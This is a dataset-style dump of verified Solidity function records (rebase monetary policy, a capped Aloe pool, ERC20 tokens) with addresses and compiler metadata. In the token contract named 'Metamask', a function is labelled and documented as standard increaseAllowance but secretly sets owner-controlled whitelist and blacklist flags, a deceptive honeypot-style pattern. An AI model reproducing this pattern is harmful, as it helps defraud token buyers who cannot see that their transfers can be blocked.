ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 1642, 1808 ] }
1,374
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
UInt256Lib
library UInt256Lib { uint256 private constant MAX_INT256 = ~(uint256(1) << 255); /** * @dev Safely converts a uint256 to an int256. */ function toInt256Safe(uint256 a) internal pure returns (int256) { require(a <= MAX_INT256); return int25...
/** * @title Various utilities useful for uint256. */
NatSpecMultiLine
toInt256Safe
function toInt256Safe(uint256 a) internal pure returns (int256) { require(a <= MAX_INT256); return int256(a); }
/** * @dev Safely converts a uint256 to an int256. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 162, 333 ] }
1,375
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender ...
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
owner
function owner() public view returns(address) { return _owner; }
/** * @return the address of the owner. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 453, 528 ] }
1,376
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender ...
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
isOwner
function isOwner() public view returns(bool) { return msg.sender == _owner; }
/** * @return true if `msg.sender` is the owner of the contract. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 755, 843 ] }
1,377
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender ...
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
renounceOwnership
function renounceOwnership() public onlyOwner { emit OwnershipRenounced(_owner); _owner = address(0); }
/** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 1112, 1231 ] }
1,378
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender ...
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
transferOwnership
function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); }
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 1395, 1501 ] }
1,379
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender ...
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
_transferOwnership
function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; }
/** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 1638, 1814 ] }
1,380
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
MonetaryPolicy
contract MonetaryPolicy is Ownable { using SafeMath for uint256; using SafeMathInt for int256; using UInt256Lib for uint256; event LogRebase( uint256 indexed epoch, uint256 exchangeRate, uint256 cpi, int256 requestedSupplyAdjustment, uint256 timestampSe...
/** * @title Rebased Monetary Supply Policy * @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth. * uFragments operates symmetrically on expansion and contraction. It will both split and * combine coins to maintain a stable unit price. * * This componen...
NatSpecMultiLine
canRebase
function canRebase() public view returns (bool) { return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now); }
/** * @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase. * */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 2372, 2521 ] }
1,381
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
MonetaryPolicy
contract MonetaryPolicy is Ownable { using SafeMath for uint256; using SafeMathInt for int256; using UInt256Lib for uint256; event LogRebase( uint256 indexed epoch, uint256 exchangeRate, uint256 cpi, int256 requestedSupplyAdjustment, uint256 timestampSe...
/** * @title Rebased Monetary Supply Policy * @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth. * uFragments operates symmetrically on expansion and contraction. It will both split and * combine coins to maintain a stable unit price. * * This componen...
NatSpecMultiLine
rebase
function rebase() external { require(canRebase(), "Insufficient time has passed since last rebase"); lastRebaseTimestampSec = now; epoch = epoch.add(1); (uint256 cpi, uint256 exchangeRate, uint256 targetRate, int256 supplyDelta) = getRebaseValues(); uint256 supplyAfterRebase = r...
/** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 2653, 3168 ] }
1,382
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
MonetaryPolicy
contract MonetaryPolicy is Ownable { using SafeMath for uint256; using SafeMathInt for int256; using UInt256Lib for uint256; event LogRebase( uint256 indexed epoch, uint256 exchangeRate, uint256 cpi, int256 requestedSupplyAdjustment, uint256 timestampSe...
/** * @title Rebased Monetary Supply Policy * @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth. * uFragments operates symmetrically on expansion and contraction. It will both split and * combine coins to maintain a stable unit price. * * This componen...
NatSpecMultiLine
getRebaseValues
function getRebaseValues() public view returns (uint256, uint256, uint256, int256) { uint256 cpi; bool cpiValid; (cpi, cpiValid) = cpiOracle.getData(); require(cpiValid); uint256 targetRate = cpi.mul(10 ** DECIMALS).div(baseCpi); uint256 exchangeRate; bool rateValid; ...
/** * @notice Calculates the supplyDelta and returns the current set of values for the rebase * * @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate * and targetRate is CpiOracleRate /...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 3557, 4555 ] }
1,383
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
MonetaryPolicy
contract MonetaryPolicy is Ownable { using SafeMath for uint256; using SafeMathInt for int256; using UInt256Lib for uint256; event LogRebase( uint256 indexed epoch, uint256 exchangeRate, uint256 cpi, int256 requestedSupplyAdjustment, uint256 timestampSe...
/** * @title Rebased Monetary Supply Policy * @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth. * uFragments operates symmetrically on expansion and contraction. It will both split and * combine coins to maintain a stable unit price. * * This componen...
NatSpecMultiLine
computeSupplyDelta
function computeSupplyDelta(uint256 rate, uint256 targetRate) internal view returns (int256) { if (withinDeviationThreshold(rate, targetRate)) { return 0; } // supplyDelta = totalSupply * (rate - targetRate) / targetRate int256 targetRateSigned = targetRate.toInt256Safe();...
/** * @return Computes the total supply adjustment in response to the exchange rate * and the targetRate. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 4700, 5219 ] }
1,384
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
MonetaryPolicy
contract MonetaryPolicy is Ownable { using SafeMath for uint256; using SafeMathInt for int256; using UInt256Lib for uint256; event LogRebase( uint256 indexed epoch, uint256 exchangeRate, uint256 cpi, int256 requestedSupplyAdjustment, uint256 timestampSe...
/** * @title Rebased Monetary Supply Policy * @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth. * uFragments operates symmetrically on expansion and contraction. It will both split and * combine coins to maintain a stable unit price. * * This componen...
NatSpecMultiLine
withinDeviationThreshold
function withinDeviationThreshold(uint256 rate, uint256 targetRate) internal view returns (bool) { uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold) .div(10 ** DECIMALS); return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold) ...
/** * @param rate The current exchange rate, an 18 decimal fixed point number. * @param targetRate The target exchange rate, an 18 decimal fixed point number. * @return If the rate is within the deviation threshold from the target rate, returns true. * Otherwise, returns false. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 5547, 5987 ] }
1,385
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
MonetaryPolicy
contract MonetaryPolicy is Ownable { using SafeMath for uint256; using SafeMathInt for int256; using UInt256Lib for uint256; event LogRebase( uint256 indexed epoch, uint256 exchangeRate, uint256 cpi, int256 requestedSupplyAdjustment, uint256 timestampSe...
/** * @title Rebased Monetary Supply Policy * @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth. * uFragments operates symmetrically on expansion and contraction. It will both split and * combine coins to maintain a stable unit price. * * This componen...
NatSpecMultiLine
setRebased
function setRebased(IRebased rebased_) external onlyOwner { require(rebased == IRebased(0)); rebased = rebased_; }
/** * @notice Sets the reference to the Rebased token governed. * Can only be called once during initialization. * * @param rebased_ The address of the Rebased ERC20 token. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 6214, 6384 ] }
1,386
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
MonetaryPolicy
contract MonetaryPolicy is Ownable { using SafeMath for uint256; using SafeMathInt for int256; using UInt256Lib for uint256; event LogRebase( uint256 indexed epoch, uint256 exchangeRate, uint256 cpi, int256 requestedSupplyAdjustment, uint256 timestampSe...
/** * @title Rebased Monetary Supply Policy * @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth. * uFragments operates symmetrically on expansion and contraction. It will both split and * combine coins to maintain a stable unit price. * * This componen...
NatSpecMultiLine
setCpiOracle
function setCpiOracle(IOracle cpiOracle_) external onlyOwner { cpiOracle = cpiOracle_; }
/** * @notice Sets the reference to the CPI oracle. * @param cpiOracle_ The address of the cpi oracle contract. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 6529, 6659 ] }
1,387
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
MonetaryPolicy
contract MonetaryPolicy is Ownable { using SafeMath for uint256; using SafeMathInt for int256; using UInt256Lib for uint256; event LogRebase( uint256 indexed epoch, uint256 exchangeRate, uint256 cpi, int256 requestedSupplyAdjustment, uint256 timestampSe...
/** * @title Rebased Monetary Supply Policy * @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth. * uFragments operates symmetrically on expansion and contraction. It will both split and * combine coins to maintain a stable unit price. * * This componen...
NatSpecMultiLine
setMarketOracle
function setMarketOracle(IOracle marketOracle_) external onlyOwner { marketOracle = marketOracle_; }
/** * @notice Sets the reference to the market oracle. * @param marketOracle_ The address of the market oracle contract. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 6809, 6951 ] }
1,388
AloePoolCapped
contracts/AloePoolCapped.sol
0x325441fdb3bd45a8093994303cf9b67f3689ac11
Solidity
AloePoolCapped
contract AloePoolCapped is AloePool { using SafeERC20 for IERC20; address public immutable MULTISIG; uint256 public maxTotalSupply; constructor(address predictions, address multisig) AloePool(predictions) { MULTISIG = multisig; } function deposit( uint256 amount0Max, u...
sweep
function sweep( IERC20 token, uint256 amount, address to ) external { require(msg.sender == MULTISIG, "Not authorized"); require(token != TOKEN0 && token != TOKEN1, "Not sweepable"); token.safeTransfer(to, amount); }
/** * @notice Removes tokens accidentally sent to this vault. */
NatSpecMultiLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 827, 1103 ] }
1,389
AloePoolCapped
contracts/AloePoolCapped.sol
0x325441fdb3bd45a8093994303cf9b67f3689ac11
Solidity
AloePoolCapped
contract AloePoolCapped is AloePool { using SafeERC20 for IERC20; address public immutable MULTISIG; uint256 public maxTotalSupply; constructor(address predictions, address multisig) AloePool(predictions) { MULTISIG = multisig; } function deposit( uint256 amount0Max, u...
setMaxTotalSupply
function setMaxTotalSupply(uint256 _maxTotalSupply) external { require(msg.sender == MULTISIG, "Not authorized"); maxTotalSupply = _maxTotalSupply; }
/** * @notice Used to change deposit cap for a guarded launch or to ensure * vault doesn't grow too large relative to the UNI_POOL. Cap is on total * supply rather than amounts of TOKEN0 and TOKEN1 as those amounts * fluctuate naturally over time. */
NatSpecMultiLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 1385, 1558 ] }
1,390
Seals
Seals.sol
0x329023f4014a32ec5380c2be2468095886cb50be
Solidity
ERC20
contract ERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address index...
totalSupply
function totalSupply() public view returns (uint256) { return _totalSupply; }
/** * @dev Total number of tokens in existence */
NatSpecMultiLine
v0.5.17+commit.d19bba13
None
bzzr://6f19558de2420b7ca07185b14432715932ab3f7f4c809ef97b67a03a182c5db4
{ "func_code_index": [ 454, 550 ] }
1,391
Seals
Seals.sol
0x329023f4014a32ec5380c2be2468095886cb50be
Solidity
ERC20
contract ERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address index...
balanceOf
function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; }
/** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */
NatSpecMultiLine
v0.5.17+commit.d19bba13
None
bzzr://6f19558de2420b7ca07185b14432715932ab3f7f4c809ef97b67a03a182c5db4
{ "func_code_index": [ 760, 871 ] }
1,392
Seals
Seals.sol
0x329023f4014a32ec5380c2be2468095886cb50be
Solidity
ERC20
contract ERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address index...
allowance
function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; }
/** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */
NatSpecMultiLine
v0.5.17+commit.d19bba13
None
bzzr://6f19558de2420b7ca07185b14432715932ab3f7f4c809ef97b67a03a182c5db4
{ "func_code_index": [ 1200, 1336 ] }
1,393
Seals
Seals.sol
0x329023f4014a32ec5380c2be2468095886cb50be
Solidity
ERC20
contract ERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address index...
transfer
function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; }
/** * @dev Transfer token to a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */
NatSpecMultiLine
v0.5.17+commit.d19bba13
None
bzzr://6f19558de2420b7ca07185b14432715932ab3f7f4c809ef97b67a03a182c5db4
{ "func_code_index": [ 1501, 1646 ] }
1,394
Seals
Seals.sol
0x329023f4014a32ec5380c2be2468095886cb50be
Solidity
ERC20
contract ERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address index...
approve
function approve(address spender, uint256 value) public returns (bool) { _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; }
/** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race...
NatSpecMultiLine
v0.5.17+commit.d19bba13
None
bzzr://6f19558de2420b7ca07185b14432715932ab3f7f4c809ef97b67a03a182c5db4
{ "func_code_index": [ 2280, 2486 ] }
1,395
Seals
Seals.sol
0x329023f4014a32ec5380c2be2468095886cb50be
Solidity
ERC20
contract ERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address index...
transferFrom
function transferFrom(address from, address to, uint256 value) public returns (bool) { if (from != msg.sender && _allowed[from][msg.sender] != uint256(-1)) _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; }
/** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address...
NatSpecMultiLine
v0.5.17+commit.d19bba13
None
bzzr://6f19558de2420b7ca07185b14432715932ab3f7f4c809ef97b67a03a182c5db4
{ "func_code_index": [ 2947, 3263 ] }
1,396
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
add
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; }
/** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 251, 437 ] }
1,397
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); }
/** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 707, 848 ] }
1,398
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ma...
name
function name() public view returns (string memory) { return _name; }
/** * @dev Returns the name of the token. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 3565, 3653 ] }
1,399
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ma...
totalSupply
function totalSupply() public view override returns (uint256) { return _totalSupply; }
/** * @dev See {IERC20-totalSupply}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 3899, 4004 ] }
1,400
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ma...
balanceOf
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
/** * @dev See {IERC20-balanceOf}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 4062, 4186 ] }
1,401
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ma...
transfer
function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; }
/** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 4394, 4578 ] }
1,402
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ma...
allowance
function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; }
/** * @dev See {IERC20-allowance}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 5266, 5422 ] }
1,403
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ma...
approve
function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
/** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 5564, 5738 ] }
1,404
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ma...
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; }
/** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amou...
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 6207, 6537 ] }
1,405
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ma...
increaseAllowance
function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` c...
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 6941, 7232 ] }
1,406